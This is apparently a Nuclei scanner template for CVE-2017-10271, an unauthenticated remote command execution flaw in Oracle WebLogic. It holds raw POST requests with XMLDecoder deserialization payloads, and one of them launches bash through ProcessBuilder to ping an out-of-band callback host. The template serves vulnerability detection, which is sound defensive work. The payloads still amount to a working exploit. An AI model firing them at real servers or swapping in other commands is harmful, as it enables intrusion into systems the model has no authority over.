100 lines
4.0 KiB
YAML
100 lines
4.0 KiB
YAML
id: CVE-2017-10271
|
|
|
|
info:
|
|
name: Oracle WebLogic Server - Remote Command Execution
|
|
author: dr_set,ImNightmaree,true13
|
|
severity: high
|
|
description: |
|
|
The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security) is susceptible to remote command execution. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. This easily exploitable vulnerability allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server.
|
|
reference:
|
|
- https://github.com/vulhub/vulhub/tree/fda47b97c7d2809660a4471539cd0e6dbf8fac8c/weblogic/CVE-2017-10271
|
|
- https://github.com/SuperHacker-liuan/cve-2017-10271-poc
|
|
- http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2017-10271
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2017-10271
|
|
tags: weblogic,oast,kev,vulhub,cve,cve2017,rce,oracle
|
|
metadata:
|
|
max-request: 2
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wls-wsat/CoordinatorPortType HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
Accept-Language: en
|
|
Content-Type: text/xml
|
|
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|
<soapenv:Envelope
|
|
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
|
|
<soapenv:Header>
|
|
<work:WorkContext
|
|
xmlns:work="http://bea.com/2004/06/soap/workarea/">
|
|
<java version="1.4.0" class="java.beans.XMLDecoder">
|
|
<void class="java.lang.ProcessBuilder">
|
|
<array class="java.lang.String" length="3">
|
|
<void index="0">
|
|
<string>/bin/bash</string>
|
|
</void>
|
|
<void index="1">
|
|
<string>-c</string>
|
|
</void>
|
|
<void index="2">
|
|
<string>ping -c 1 {{interactsh-url}}</string>
|
|
</void>
|
|
</array>
|
|
<void method="start"/></void>
|
|
</java>
|
|
</work:WorkContext>
|
|
</soapenv:Header>
|
|
<soapenv:Body/>
|
|
</soapenv:Envelope>
|
|
|
|
- |
|
|
POST /wls-wsat/CoordinatorPortType HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
Accept-Language: en
|
|
Content-Type: text/xml
|
|
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
|
|
<soapenv:Header>
|
|
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
|
|
<java>
|
|
<void class="java.lang.Thread" method="currentThread">
|
|
<void method="getCurrentWork">
|
|
<void method="getResponse">
|
|
<void method="getServletOutputStream">
|
|
<void method="flush"/>
|
|
</void>
|
|
<void method="getWriter"><void method="write"><string>{{randstr}}</string></void></void>
|
|
</void>
|
|
</void>
|
|
</void>
|
|
</java>
|
|
</work:WorkContext>
|
|
</soapenv:Header>
|
|
<soapenv:Body/>
|
|
</soapenv:Envelope>
|
|
|
|
stop-at-first-match: true
|
|
matchers-condition: or
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- regex("<faultstring>java.lang.ProcessBuilder || <faultstring>0", body)
|
|
- contains(interactsh_protocol, "dns")
|
|
- status_code == 500
|
|
condition: and
|
|
|
|
- type: dsl
|
|
dsl:
|
|
- body == "{{randstr}}"
|
|
- status_code == 200
|
|
condition: and
|